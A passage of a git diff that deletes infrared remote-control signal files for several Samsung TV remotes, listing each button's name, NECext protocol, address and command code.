KEY_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 20 00 00 00 -# -name: swap -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 21 00 00 00 -# -name: position -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 22 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: source -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 24 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: size -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2F 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 32 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 33 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 69 00 00 00 -# -name: CHMGR -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 -# -name: SRS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir deleted file mode 100644 index c916d4bdc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DUAL -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 00 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: PRE-CH -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 20 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 25 00 00 00 -# -name: P.MODE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 28 00 00 00 -# -name: S.MODE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2B 00 00 00 -# -name: TTX/MIX -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: P.SIZE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 42 00 00 00 -# -name: TV/DTV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 43 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 46 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 47 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 48 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4F 00 00 00 -# -name: UO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: CH_MGR -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 -# -name: SRS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6E 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 7A 00 00 00 -# -name: CABLE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 7B 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 7D 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 7E 00 00 00 -# -name: STB -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 7F 00 00 00 -# -name: WISELINK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 8C 00 00 00 -# -name: D.MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 8E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir deleted file mode 100644 index 861a7d63b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Dual -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 00 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: Pre-CH -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 20 00 00 00 -# -name: Dashes -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 25 00 00 00 -# -name: P.Mode -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 28 00 00 00 -# -name: Text/Mix -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: P.Size -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 -# -name: Still -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 42 00 00 00 -# -name: TV/DTV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 43 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 46 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 47 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 48 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 49 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: Enter/OK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: ChList -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 -# -name: Cable -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 7B 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 7D 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 7E 00 00 00 -# -name: STB -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 7F 00 00 00 -# -name: D.Menu -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 8E 00 00 00 -# -name: AnyNet -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 97 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir deleted file mode 100644 index 57a5acf0c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DUAL -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 00 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: PRE-CH -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: S.MODE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: P.SIZE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 20 00 00 00 -# -name: PIP.POSITION -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 22 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: PIP.SOURCE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 24 00 00 00 -# -name: TTX/MIX -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: PIP.chan+ -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 32 00 00 00 -# -name: PIP.chan- -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 33 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: CHLIST -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: P.MODE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 -# -name: SRS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6E 00 00 00 -# -name: E.SAVING -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 77 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 8B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir deleted file mode 100644 index 921a06314..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 12 00 00 00 -# -name: PRE-CH -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 13 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 1F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 2D 00 00 00 -# -name: P.SIZE -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 3E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 46 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 47 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 48 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 49 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 65 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir deleted file mode 100644 index 4dfdd2f83..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MTS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 00 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: Pre-CH -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: Dashes -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 25 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: P.Size -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 44 00 00 00 -# -name: Tools -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: Enter/OK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 -# -name: SRS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir deleted file mode 100644 index 39194cd4d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: Pre-CH -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 